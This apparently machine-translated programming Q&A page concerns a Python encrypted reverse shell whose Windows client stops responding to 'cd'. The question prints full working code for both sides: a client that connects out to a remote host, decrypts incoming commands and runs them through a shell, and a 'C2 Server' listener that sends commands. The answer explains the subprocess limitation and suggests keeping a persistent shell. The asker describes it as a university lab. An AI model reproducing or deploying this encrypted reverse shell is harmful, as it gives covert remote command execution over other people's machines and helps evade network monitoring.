【问题标题】:Crypto Reverse Shell in Python3 - cd command does not change directoryPython3 中的 Crypto Reverse Shell - cd 命令不会更改目录
【发布时间】:2021-09-10 04:21:11
【问题描述】:

加密服务器在 Kali Linux 虚拟机上启动,而客户端 shell 在 Windows 10 虚拟机上启动。

反向外壳工作。建立连接并保持连接。我可以从 shell 运行所有类型的命令,例如 -ifconfig、dir、ls、systeminfo、netstat 等。但是,唯一的问题是我无法使用 -"cd & cd .." 命令枚举虚拟机的目录.

如果我从 Linux 的 shell 键入 cd,我不会收到任何错误,连接也不会关闭。似乎它在 Windows 机器上执行了命令,但它没有返回任何响应。

我知道过去有人问过这个问题,并且我已经浏览了这些主题:

1.python3 - cd is not working in reverse shell

2.Reverse Shell Command with Python command gets stuck when trying to change directory

3.Subprocess changing directory

4.Equivalent of shell 'cd' command to change the working directory?

我觉得没有帮助

我想我了解问题的本质,但我不知道如何解决它。如果有人知道可能导致这种行为的原因,我将不胜感激。

这是加密客户端外壳

import socket, os, subprocess

from crypto import RSA, AES

HOST = 'IP'               # The remote host
PORT = 4444               # The remote port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

pub_key = b"""
-----BEGIN PUBLIC KEY-----
PUBLIC KEY
-----END PUBLIC KEY-----
"""


asymetric_public = RSA()
asymetric_public.load_public_pem(pub_key)

aes_key = os.urandom(32)

encrypted_aes_key = asymetric_public.encrypt(aes_key)

s.send(encrypted_aes_key)

aes = AES(aes_key)

while 1:

    encrypted_command = s.recv(1024)

    decrypt_command = aes.decrypt(encrypted_command)
    command = decrypt_command.decode('utf-8')

    if not command: break # breaks loop if the connection is closed

    proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    response = proc.stdout.read() + proc.stderr.read()

    if not response: response = b' '

    encrypted_response = aes.encrypt(response)
    s.send(encrypted_response)

s.close()

这是加密服务器外壳

import socket

from crypto import RSA, AES

PORT = 4444

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", PORT))
s.listen(1)

asymetric_keys = RSA()
asymetric_keys.load_file('keys.pem')


print()
print("C2 Server listening on port %d" % PORT)

while True:

    print("Awaiting connection...")

    sock, addr = s.accept()

    encrypted_aes_key = sock.recv(256)

    aes_key = asymetric_keys.decrypt(encrypted_aes_key)

    aes = AES(aes_key)

    print()
    print("Session opened!")

    while True:
                
        command = input("CMD>")
        if not command: continue

        encrypted_command = aes.encrypt(command.encode('utf-8'))

        sock.send(encrypted_command) # send command to the reverse shell
                
        encrypted_response = sock.recv(65535) # get response from the shell
        response = aes.decrypt(encrypted_response)

        if not response: break # break loop if connection closed
        print(response.decode('utf-8'))
        
    print("Session closed!")
    print()

导入的类(RSA 和 AES)来自第三个 python 文件,该文件用于生成、加载、解密、加密、验证和签署加密密钥。我不认为问题是由这个文件引起的,但是如果需要,我也可以发布代码。

附: 我正在为一个大学项目做一个实验。因此,一切都只是为了实验目的。

【问题讨论】:

    标签: python-3.x shell sockets encryption subprocess


    【解决方案1】:
    while 1:
    
        encrypted_command = s.recv(1024)
        ...
        proc     = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        ...
        s.send(encrypted_response)
    

    subprocess.Popen 将启动一个新进程,执行其中的命令,返回输出,然后该命令的进程将退出。这意味着目录将仅在这个新创建的进程内更改。它对以下命令没有影响,因为这些命令从反向 shell 的工作目录开始 - 没有更改。这实际上也在Subprocess changing directory 的接受答案中得到了解释——你提到的这个问题没有帮助。

    要解决这个问题,要么需要在反向 shell 本身内解释命令,而不是在新进程内执行它。或者需要收集多个命令并在一个执行的进程中一起执行这些命令。或者需要使用 shell 生成一个单独的进程并将所有命令输入其中并取回所有输出 - 但永远不要关闭 shell。

    【讨论】:

    • 感谢您为我指明正确的方向。我现在开始工作了。但老实说,我在另一个线程上找到了答案。但是,在仔细阅读了您链接的帖子后,我明白了这个问题。因此,我接受你的回答。谢谢!
    猜你喜欢
    • 2015-01-01
    • 2010-09-30
    • 2020-02-26
    • 1970-01-01
    • 1970-01-01
    • 2012-06-25
    • 2013-10-10
    相关资源
    最近更新 更多